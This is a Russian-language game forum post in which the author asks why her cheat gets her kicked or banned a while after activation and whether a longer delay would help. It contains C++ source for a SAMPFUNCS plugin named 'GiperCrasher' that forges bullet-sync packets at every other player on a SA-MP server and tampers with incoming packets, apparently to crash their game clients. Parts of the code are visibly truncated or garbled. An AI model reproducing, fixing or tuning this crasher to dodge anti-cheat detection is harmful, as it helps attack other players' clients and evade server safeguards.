Показать сообщение отдельно

  #10  
Старый 31.05.2015, 20:38
Julia
Новичок
Регистрация: 06.08.2004
Сообщений: 1
С нами: 11453422

Репутация: 0
По умолчанию

ЧЕ НЕ ТАК ВРОДЕ ВСЕ РАБОТАЕТ ПОСЛЕ АКТИВАЦИИ РЕСТАРТ КИК ИЛИ БАН ЧЕРЕЗ КАКОЕ ТО ВРЕМЯ МОЖ ЗАДЕРЖКУ БОЛЬШЕ НАДО

Код:





Код:
#include 
#include 
#include 
#include 

#include "SAMPFUNCS_API.h"
#include "game_api\game_api.h"

SAMPFUNCS *SF = new SAMPFUNCS();
bool gipercrasher = false;

void Crasher( void )
{
for(int i = 0; i getSAMP()->getPlayers()->iIsListed != 1)
continue;
if(i == SF->getSAMP()->getPlayers()->sLocalPlayerID)
continue;

stBulletData BulletData;
BitStream bsBulletData;
memset(&BulletData, 0, sizeof(stBulletData));

BulletData.byteType = 1;
BulletData.sTargetID = i;

BulletData.fCenter[0] = 0.0;
BulletData.fCenter[1] = 0.0;
BulletData.fCenter[2] = 0.0;

BulletData.fOrigin[0] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[0];
BulletData.fOrigin[1] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[1];
BulletData.fOrigin[2] = SF->getSAMP()->getPlayers()->pLocalPlayer->onFootData.fPosition[2];

BulletData.fTarget[0] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];
BulletData.fTarget[1] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];
BulletData.fTarget[2] = SF->getSAMP()->getPlayers()->pRemotePlayer->pPlayerData->onFootData.fPosition[0];

bsBulletData.Write((BYTE)ID_BULLET_SYNC);
bsBulletData.Write((PCHAR)&BulletData, sizeof(stBulletData));

SF->getRakNet()->SendPacket(&bsBulletData);
}
};

bool CALLBACK InPacketHook(stRakNetHookParams *params)
{
if (params->packetId == PacketEnumeration::ID_BULLET_SYNC && gipercrasher == true)
{
stBulletData bSync;
unsigned short ID;
params->bitStream->IgnoreBits(8);
params->bitStream->Read(ID);
params->bitStream->Read((PCHAR)&bSync, sizeof(stBulletData));

if( bSync.byteWeaponID == NULL )
{

memset(&bSync, 0, sizeof(stBulletData));
unsigned char PacketID;
params->bitStream->ResetReadPointer();
params->bitStream->Read(PacketID);
params->bitStream->Read((PCHAR)&bSync, sizeof(stBulletData));
params->bitStream->ResetReadPointer();

bSync.byteWeaponID = 24;
bSync.sTargetID = 0;

params->bitStream->ResetWritePointer();
params->bitStream->Write(PacketID);
params->bitStream->Write((PCHAR)&bSync, sizeof(stBulletData));
}
}
return true;
};

void CALLBACK CMD(std::string param)
{
if (gipercrasher == false)
{
gipercrasher = true;
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(0, 255, 0), "GiperCrasher Enable");
}
else
{
gipercrasher = false;
SF->getSAMP()->getChat()->AddChatMessage(D3DCOLOR_XRGB(255, 0, 0), "GiperCrasher Disable");
}

};

void CALLBACK mainloop()
{
static bool init = false;
static DWORD dwTime = GetTickCount();
if(dwTime GetSystemState() != eSystemState::GS_PLAYING_GAME)
return;
GAME->GetAudio()->PlayBeatTrack(2);

if (!SF->getSAMP()->IsInitialized())
return;
SF->getSAMP()->registerChatCommand("gcrash", CMD);
SF->getSAMP()->getChat()->AddChatMessage( D3DCOLOR_XRGB( 0, 0xAA, 0 ), "GiperCrasher by Julia loaded." );
SF->getRakNet()->registerRakNetCallback(RakNetScriptHookType::RAKHOOK_TYPE_INCOMING_PACKET, InPacketHook);

init = true;
}
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReasonForCall, LPVOID lpReserved)
{
switch (dwReasonForCall)
{
case DLL_PROCESS_ATTACH:
SF->initPlugin(mainloop, hModule);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
 
Ответить с цитированием